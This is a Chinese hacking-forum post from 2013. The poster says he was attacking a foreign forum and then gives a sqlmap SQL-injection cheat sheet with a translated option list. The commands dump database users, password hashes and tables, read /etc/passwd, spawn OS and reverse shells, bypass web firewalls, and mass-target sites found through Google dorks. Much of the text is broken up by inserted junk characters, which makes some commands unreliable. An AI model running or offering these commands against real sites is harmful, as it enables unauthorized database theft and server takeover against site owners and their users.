找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2621|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
; F" ~8 P! P; O3 h) ysqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称6 s$ l: r8 _; s& E; ?# z, X
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
% M5 D% f; D2 d4 [# X0 J- Wsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段3 n3 h- p9 ?6 ?. C
& p7 D+ C4 L: D0 Y( w" l
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
! [% @6 X0 [2 y+ _4 }% N0 #获取字段内容
) k! J" D1 s( t4 U2 j+ ]" z; M
3 k& q1 E) F* @4 E$ p******************信息获取******************
! h! g( K3 j5 a, l" ?sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
$ I" e& v% U6 S* z  bsqlmap -u “http://url/news?id=1″ –users #列数据库用户
  i  z7 r2 M5 g) W* psqlmap -u “http://url/news?id=1″ –dbs#列数据库' V+ J2 v) M1 G- ~
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码5 ]( R0 L8 ^- M7 f) w
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码, H3 V8 ^) X8 v3 u6 w1 p
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”1 D" J3 }: C: q  H2 D, |. [: d
–start 1 –stop 20 #列出指定字段,列出20 条# z) \( Q# [% q: Q& E9 x& N
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
# l; D7 @4 I" {8 z3 \- ~1 l" tsqlmap -u “http://url/news?id=1″ –privileges #查看权限
( q. J% b+ W, L# T, fsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
, _+ p; v& Z4 s" ~9 |: ~; Hsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)* e9 o4 ?2 v) d; X* w9 }
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表' ]" g0 j" E: F* L8 _. ~
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
+ w& _  F/ R& ]  f0 Fsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
+ E% Z7 a; b) ?) l& R$ T. jsqlmap -u “http://url/news?id=1″-b #获取banner信息! G8 }' e# \% o" R! H
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
1 \8 a* F& Z1 Y" Bsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
& F$ F; v& x, d- Q- ^. {. gsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入. D5 z$ D  r& ?! l5 \# P
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词  M$ M, r2 {5 K3 U
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
. j% g- J5 b: T( X1 \sqlmap -u “http://url/news?id=1″ –file /etc/passwd
! c+ g' W5 n+ V% f# Y' z3 }sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令, e& Y8 O6 a9 P1 P2 E
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell& l& \( Y; C7 U4 U+ K
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表3 w3 Y& V% u! [5 _. x
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度  f* z' o7 N2 Y% i2 B" d
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度# Q; ]1 `- a; w- `4 V5 N* z
***********高级用法*************1 `. w' d& e9 ?. A0 Q) X$ d
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入8 [1 y  @; h+ p) s
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
  g+ i+ _; \  b. o3 a8 A3 Y–technique   测试指定注入类型\使用的技术
% _" @- S0 e8 V0 ]( P! L不加参数默认测试所有注入技术3 ]9 w) u. i( p5 u/ K, Z% {! z& d/ l
•     B: 基于布尔的SQL 盲注$ T  n1 `; l, Q" \! S
•     E: 基于显错sql 注入/ B, W# t3 }4 ^5 m
•     U: 基于UNION 注入8 \* S1 }# ?. _3 c# O) v/ g3 ^9 I
•     S: 叠层sql 注入
' M# \, R. ^6 }+ ^+ n& ]•     T: 基于时间盲注
$ r  S6 Y5 _5 S( k4 x–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()7 w: J/ y  n& z6 y7 ~! Y
–tamper 插件所在目录7 g& Q% W5 A4 B" n- r' u: i
\sqlmap-dev\tamper
6 k+ T; F% |6 S9 B$ P+ b/ isqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
& q  f  L9 J4 [4 G* Klevel 执行测试等级 攻击实例:
8 @; s) W" H) zSqlmap -u “http://url/news?id=1&Submit=Submit”
9 g% r8 _$ K6 o  ?1 I–cookie=”PHPSESSID=41aa833e6d0d3 f9 r. {" K# P. D! A
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
- v% F1 m* p; D8 C! o4 _$ ^2 h; N–password
2 q/ c1 {- Y2 G1 }/ i参考文档:http://sqlmap.sourceforge.net/doc/README.html  p4 n# o: A3 H; L- n& T! j
***********安装最新版本*************
6 v+ C' k' m) I, `ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版" M" m, @" F: ~( k& P- X2 T/ s
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
5 {8 H8 Y% A  }3 T, \! J1 K安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
) R9 P( X; M/ l* r" Xsudo vim /home/当前用户/.bashrc
  D9 z" }+ _1 b5 x, ^#任意位置加上:4 M1 G* M+ f  s) w  {7 p+ [
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
/ j, o  T! v; y* ?, x如果想对所有用户有效 可设置全局 编辑下面的文件
( B# T3 I5 V3 [* }vim /etc/profile
5 E5 e& }9 V% ?5 Y1 X5 ~" n同样加上:9 w& z( V* h& c5 @/ p/ N' g8 j5 k$ J
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效" G4 ~) Z- U" N; z
******************windows 7 (x64) sqlmap install (SVN)************
% V2 h. u/ W2 R" U6 w1 _$ Vhttp://www.python.org/getit/ 安装python
; ^, ?! q- m4 @$ W" ohttp://www.sliksvn.com/en/download 安装windows svn client; s5 D% t: w# I
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev- H% F; A! _/ ?: O9 S
安装sqlmap. l- J+ _$ u4 `* ~2 B
*修改环境变量
+ D* C* j$ ]! e9 U3 u. J" A8 v; F& ?" v–version             显示程序的版本号并退出" H  `% d$ o7 Q" A4 n2 ^+ W' c
-h, –help            显示此帮助消息并退出: d# q, f; [/ i  c" E, K
-v VERBOSE            详细级别:0-6(默认为1)
9 }1 L& v. {5 D" U5 T* PTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
! l  i2 b) h) ]2 D( O-d DIRECT           直接连接到数据库。! k1 V1 V7 Z9 [& c6 s( |+ X
-u URL, –url=URL   目标URL。9 ~2 s- W- ~" q5 ?
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。+ k+ G* Z/ b+ O% X' z) m
-r REQUESTFILE      从一个文件中载入HTTP 请求。
6 I* _$ k- o4 e-g GOOGLEDORK       处理Google dork 的结果作为目标URL。6 k4 I" e. S8 l$ M- U1 X
-c CONFIGFILE       从INI 配置文件中加载选项。& R' c$ @. T( n% e5 J
Request(请求)::
/ g1 [* A; N% V这些选项可以用来指定如何连接到目标URL。
0 W  K! R$ k. Z; ~" K) R  k–data=DATA         通过POST 发送的数据字符串, x5 ?8 z: R* O7 n/ V; t
–cookie=COOKIE     HTTP Cookie 头
: k; x% K; G: E% x( C–cookie-urlencode  URL 编码生成的cookie 注入3 G* x2 U4 t" }, r5 u5 S
–drop-set-cookie   忽略响应的Set –Cookie 头信息
' b3 i6 a$ _. L  ~0 H+ @; B1 v$ e " H  G" I- W! A0 p
–user-agent=AGENT  指定  HTTP User –Agent 头
. v! [: L1 l! B5 k" D–random-agent      使用随机选定的HTTP User –Agent 头0 l+ E9 e' @0 [  R1 |0 A3 l
–referer=REFERER   指定  HTTP Referer 头/ a. W3 r& H  F( Z
–headers=HEADERS   换行分开,加入其他的HTTP 头' |8 d" \2 j8 F
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)/ V7 k) @$ @# o6 c3 J) @* g7 i4 ]
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
( m: Z+ l. b, N$ S! \–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
- s  L+ O7 r, o4 p–proxy=PROXY       使用HTTP 代理连接到目标URL
# R. U# r  Y: T" Z) J6 E–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)( A7 m3 m  x/ K, P$ D% h) H, S
–ignore-proxy      忽略系统默认的HTTP 代理
0 l' v7 Q; L( C$ e; N–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒+ H3 i" N% B6 i) i) J& r
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
9 k3 q" Q$ h1 }; g–retries=RETRIES   连接超时后重新连接的时间(默认3)
4 E, D5 B7 Q$ ~6 z2 E/ S$ q–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
: H; P! H, }- g; T/ m: v–safe-url=SAFURL   在测试过程中经常访问的url 地址
8 W" ^$ K/ Q& Y; Q) b- {% v–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
5 C: T- O+ h7 A) c7 _+ P1 {) AOptimization(优化): 这些选项可用于优化SqlMap 的性能。6 g4 k% _( e8 D  G
-o                  开启所有优化开关0 m5 x) I8 P- ?6 Q6 r
–predict-output    预测常见的查询输出0 N+ C( J& Y- D1 E
–keep-alive        使用持久的HTTP(S)连接: ~) i8 r8 Y% k4 u  F
–null-connection   从没有实际的HTTP 响应体中检索页面长度3 \: E( d/ u- m+ B6 t( G
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)+ U6 D3 O) o( Z$ q
Injection(注入):8 e# f4 H* {0 P! H# E( O5 ]
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
( j& `* x* T; g-p TESTPARAMETER    可测试的参数(S), r- H' ~# m  ?) W' q+ B0 o6 ^
–dbms=DBMS         强制后端的DBMS 为此值
! ^1 o* J( ~8 I+ B. s–os=OS             强制后端的DBMS 操作系统为这个值
6 B+ Q) E1 q. K' |0 _3 U4 T7 c% L–prefix=PREFIX     注入payload 字符串前缀% N7 \  D& z" R' w, V  i8 ]
–suffix=SUFFIX     注入 payload 字符串后缀
+ |6 D. \" v2 ?) T3 x* w  d. X0 t–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
# Q# v% A! F: Z# G, BDetection(检测):0 D9 I3 Z9 W, s
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。9 b5 g6 X! K* z" p& \) }  E% q9 ]) j
–level=LEVEL       执行测试的等级(1-5,默认为1)  E: I2 b" A8 T* H6 ?
–risk=RISK         执行测试的风险(0-3,默认为1)
& e: Z- o! d- [–string=STRING     查询时有效时在页面匹配字符串2 n9 @  i8 O/ S
–regexp=REGEXP     查询时有效时在页面匹配正则表达式' S. p; C; j- E$ Z, x4 p
–text-only         仅基于在文本内容比较网页
% i3 k3 j5 ]& ]# O- ^Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
9 F6 f0 p0 @$ J# |–technique=TECH    SQL 注入技术测试(默认BEUST)
5 T, O5 C6 X$ `, b  m0 R–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
) u) [6 }7 a  v% ]% P–union-cols=UCOLS  定列范围用于测试UNION 查询注入" J" M& l4 N( N: u
–union-char=UCHAR  用于暴力猜解列数的字符$ v% O  x/ p; S! s1 ~* p
Fingerprint(指纹):
( `  C" q  ]; \1 c: f-f, –fingerprint     执行检查广泛的DBMS 版本指纹" s5 y; N1 I5 Y( s4 X
Enumeration(枚举):* d( p* v: L9 G0 t2 U) r# D" D

* V. q8 d( N( o) A! [" g这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。! }) V- v. B% \$ q
-b, –banner        检索数据库管理系统的标识" B$ Y6 u$ y, E# l5 i% a
–current-user      检索数据库管理系统当前用户, n- E* J- x7 W4 T; B
–current-db        检索数据库管理系统当前数据库/ O7 Q9 A+ S/ N  k4 J
–is-dba            检测DBMS 当前用户是否DBA! u1 E4 {6 J( p$ K0 _# t9 V5 `
–users             枚举数据库管理系统用户3 o9 _0 q" F$ W
–passwords         枚举数据库管理系统用户密码哈希# m3 ?0 R- K* M$ I& W( |
–privileges        枚举数据库管理系统用户的权限# G& l! E6 R8 J' t
–roles             枚举数据库管理系统用户的角色+ ?) C8 f+ J! s! c3 b8 C" G! }
–dbs               枚举数据库管理系统数据库
6 ^7 x* j1 a# [6 l! s6 E4 N–tables            枚举的DBMS 数据库中的表
  q6 `/ L- ]7 A- m' {  [: i& S–columns           枚举DBMS 数据库表列
3 L& r) V' x' S# w+ S2 X/ @. \+ s–dump              转储数据库管理系统的数据库中的表项
9 ?  g* `$ g* Z1 Z2 j6 K–dump-all          转储所有的DBMS 数据库表中的条目+ @; G; B/ u- U' U/ T( |$ n* O
–search            搜索列(S),表(S)和/或数据库名称(S)' Q3 m. j2 H% K! ^/ C' E- p4 |
-D DB               要进行枚举的数据库名5 g+ }: c2 w0 W/ S) z$ j
-T TBL              要进行枚举的数据库表+ J' w$ J/ R  b5 g* \8 ]
-C COL              要进行枚举的数据库列
, {% v/ e- P- V# [' q3 l-U USER             用来进行枚举的数据库用户5 b6 G2 T5 `  u" e! h
–exclude-sysdbs    枚举表时排除系统数据库" }, L) \0 R3 W4 u# e6 _
–start=LIMITSTART  第一个查询输出进入检索0 ~- k* v+ @  B# @, W
–stop=LIMITSTOP    最后查询的输出进入检索
$ Q+ j8 {# O+ @' @, F% G6 v–first=FIRSTCHAR   第一个查询输出字的字符检索
8 ^6 ]6 F& x. {2 ?+ R) u7 C–last=LASTCHAR     最后查询的输出字字符检索
$ v% V" y. q1 o, V' I: h7 N5 R–sql-query=QUERY   要执行的SQL 语句0 Q% |6 K5 H5 G# S* N
–sql-shell         提示交互式SQL 的shell2 T* G# d( E; y! }( u
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
/ p% N: \5 A0 u/ P/ I" `0 B9 z9 N–common-tables     检查存在共同表6 `1 U5 F3 h# @3 n1 G5 d2 k- a! m% {3 x
–common-columns    检查存在共同列2 i& z5 `  p; L
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。; i0 x+ o0 {( |! z1 Q" v+ X: u% X
–udf-inject        注入用户自定义函数6 u( d# S1 R) O  N
–shared-lib=SHLIB  共享库的本地路径
7 o" [0 Z1 ], a: `/ w8 kFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
7 z: u' m. R0 r3 F: Y: f–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
7 O. J2 J0 J0 U7 s( P( G–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件( \& v5 t2 m* n2 F/ n6 ^4 f6 `/ S! t
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
" Z0 w8 r9 I$ R# Q3 a' k% _! }2 }* }Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
8 ~2 F# l* Q: a–os-cmd=OSCMD      执行操作系统命令  C. b* s0 }. j( o& m0 U5 u
–os-shell          交互式的操作系统的shell6 ~2 o! Y+ J+ w" j3 V/ ]& ^( S7 ~/ M
–os-pwn            获取一个OOB shell,meterpreter 或VNC6 b3 \9 B" N- F+ }* F% g9 m
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC3 Y* }% {' K; x' p* N+ a6 y
–os-bof            存储过程缓冲区溢出利用, C- g9 N- x: ^0 Z/ E% C, ~' T
–priv-esc          数据库进程用户权限提升' G) K/ U1 R- q2 B% ~% c" K# a
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
9 D& Y  x' T4 `9 R; i–tmp-path=TMPPATH  远程临时文件目录的绝对路径
* R' t* n! o. B7 |( e 4 ?0 E, B; n+ u! v* \/ J
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。- g5 D8 j! n# A& D0 X0 i
–reg-read          读一个Windows 注册表项值1 o6 e# [* ]8 z' ^3 M7 `: C  j
–reg-add           写一个Windows 注册表项值数据3 T. j8 h% q2 q# u
–reg-del           删除Windows 注册表键值
( o3 I% |+ `' e–reg-key=REGKEY    Windows 注册表键
' c; l$ f& b3 l! }3 o–reg-value=REGVAL  Windows 注册表项值
* A1 s) ?/ J% Q8 l8 A3 S& I% K7 P–reg-data=REGDATA  Windows 注册表键值数据
3 y0 T! T6 \6 @+ X8 y–reg-type=REGTYPE  Windows 注册表项值类型
7 n% K( L) _2 Q" W/ t5 BGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
0 e+ J/ V$ a" U-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中' H! S" A0 K6 @, r- k* g: |
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
" B/ x3 ?+ X$ ?- ]% }–flush-session     刷新当前目标的会话文件
1 Y% M% X9 [( J! T' z0 e–fresh-queries     忽略在会话文件中存储的查询结果
" X& r6 n* l+ }1 b; D/ b–eta               显示每个输出的预计到达时间2 O$ P3 X8 K% g: n+ G, B
–update            更新SqlMap
: e" a7 X; Z$ v" X3 T–save              file 保存选项到INI 配置文件6 L, L' _. l3 p5 P
–batch             从不询问用户输入,使用所有默认配置。
$ O* [7 {4 F; x$ x: YMiscellaneous(杂项):4 X4 U* o. t0 X/ Y9 l* o: t5 W! D
–beep              发现SQL 注入时提醒
% p- W" u8 Z/ `) M, n& O–check-payload     IDS 对注入payloads 的检测测试4 L8 t' h8 ^3 @! y9 k
–cleanup           SqlMap 具体的UDF 和表清理DBMS
0 Z5 L( {! M4 e0 b' x4 c4 P–forms             对目标URL 的解析和测试形式
" V. s! }8 u3 @9 ?$ C9 `8 d–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
6 a; y+ Z9 P" Q9 f+ L–page-rank         Google dork 结果显示网页排名(PR)& [" ]' V7 n- l8 P
–parse-errors      从响应页面解析数据库管理系统的错误消息: y; g- K: o7 ~! y+ `5 j
–replicate         复制转储的数据到一个sqlite3 数据库3 B; d+ `  a& B# T7 D+ I$ j
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
2 v+ v' B! e2 O* w( M0 P–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表